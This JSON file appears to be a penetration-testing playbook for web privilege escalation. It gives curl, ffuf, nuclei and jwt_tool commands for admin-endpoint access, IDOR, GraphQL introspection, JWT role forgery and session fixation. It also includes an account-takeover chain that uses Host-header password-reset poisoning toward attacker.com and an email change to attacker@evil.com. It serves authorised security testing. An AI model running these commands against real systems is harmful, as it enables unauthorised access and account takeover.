{
  "slug": "privilege-escalation",
  "title": "Privilege Escalation",
  "phase": "Post-Exploitation",
  "description": "Escalate from a low-privilege foothold to admin/root access through application-level, API-level, and infrastructure-level privilege escalation techniques.",
  "difficulty": "high",
  "tags": [
    "post-exploitation",
    "privilege-escalation",
    "authorization",
    "admin-access",
    "vertical-escalation"
  ],
  "tools": [
    "Burp Suite",
    "curl",
    "ffuf",
    "nuclei"
  ],
  "steps": [
    {
      "id": "privesc-01",
      "title": "Test vertical privilege escalation",
      "description": "Attempt to access admin-only functionality by tampering with role parameters, accessing admin endpoints directly, and modifying user-level tokens.",
      "commands": [
        "curl -sk https://target.com/admin/ -H 'Cookie: session=<user_session>'",
        "curl -sk https://target.com/api/admin/users -H 'Authorization: Bearer <user_token>'",
        "ffuf -u 'https://target.com/FUZZ' -w /usr/share/seclists/Discovery/Web-Content/admin-panels.txt -H 'Cookie: session=<user_session>' -mc 200,302 -o admin-access.json"
      ],
      "notes": "Compare responses between your low-privilege session and an unauthenticated request. A 200 response with admin content using a normal user session confirms broken access control."
    },
    {
      "id": "privesc-02",
      "title": "Test horizontal privilege escalation",
      "description": "Access other users' data and functionality by manipulating user identifiers (user IDs, UUIDs, email addresses) in API requests.",
      "commands": [
        "curl -sk https://target.com/api/users/1001/profile -H 'Authorization: Bearer <user1000_token>'",
        "ffuf -u 'https://target.com/api/users/FUZZ/documents' -w user-ids.txt -H 'Authorization: Bearer <token>' -mc 200 -o hpe-results.json"
      ],
      "notes": "Test both numeric sequential IDs and UUIDs. Some applications validate ownership on GET but not on PUT/DELETE — test all HTTP methods."
    },
    {
      "id": "privesc-03",
      "title": "Test API privilege escalation",
      "description": "Bypass API-level authorization by modifying scope parameters, accessing undocumented endpoints, or escalating through GraphQL introspection.",
      "commands": [
        "curl -sk -X POST https://target.com/graphql -H 'Content-Type: application/json' -d '{\"query\":\"{__schema{types{name fields{name}}}}\"}'",
        "curl -sk https://target.com/api/v1/admin/config -H 'Authorization: Bearer <user_token>'",
        "nuclei -u https://target.com -t exposures/apis/ -o api-exposure.txt"
      ],
      "notes": "Look for version-specific endpoints (/api/v1/ vs /api/v2/) where authorization may differ. Older API versions often have weaker access controls."
    },
    {
      "id": "privesc-04",
      "title": "Test token manipulation",
      "description": "Modify JWT claims (role, sub, iss), forge session tokens, and test session fixation to escalate privileges.",
      "commands": [
        "jwt_tool <token> -T -S hs256 -p '' -I -pc role -pv admin",
        "curl -sk https://target.com/login -H 'Cookie: session=attacker-controlled-value' -d 'user=victim&pass=password'"
      ],
      "notes": "Check whether the application issues a new session token after authentication. If the pre-auth session token persists post-login, session fixation is possible."
    },
    {
      "id": "privesc-05",
      "title": "Test account takeover chains",
      "description": "Combine password reset vulnerabilities with IDOR or information disclosure to take over arbitrary accounts.",
      "commands": [
        "curl -sk -X POST https://target.com/api/forgot-password -d 'email=victim@target.com' -H 'Host: attacker.com'",
        "curl -sk -X PUT https://target.com/api/profile -H 'Authorization: Bearer <token>' -d '{\"email\":\"attacker@evil.com\"}'"
      ],
      "notes": "Account takeover is typically rated as critical severity. Document the full chain from initial access to complete account compromise."
    },
    {
      "id": "privesc-06",
      "title": "Enumerate admin functionality",
      "description": "Once admin access is achieved, map all admin-only features to understand the full impact and identify further escalation paths.",
      "commands": [
        "ffuf -u 'https://target.com/admin/FUZZ' -w /usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt -H 'Cookie: session=<admin_session>' -mc 200 -o admin-enum.json",
        "curl -sk https://target.com/api/admin/settings -H 'Authorization: Bearer <admin_token>'"
      ],
      "notes": "Document all admin functionality discovered. Features like user management, configuration changes, and file uploads from admin panels often contain additional vulnerabilities."
    }
  ],
  "references": [
    "https://portswigger.net/web-security/access-control",
    "https://owasp.org/API-Security/editions/2023/en/0xa1-broken-object-level-authorization/",
    "https://owasp.org/API-Security/editions/2023/en/0xa5-broken-function-level-authorization/",
    "https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html",
    "https://portswigger.net/web-security/access-control/idor"
  ],
  "version": "1.0.0",
  "updatedAt": "2026-06-17"
}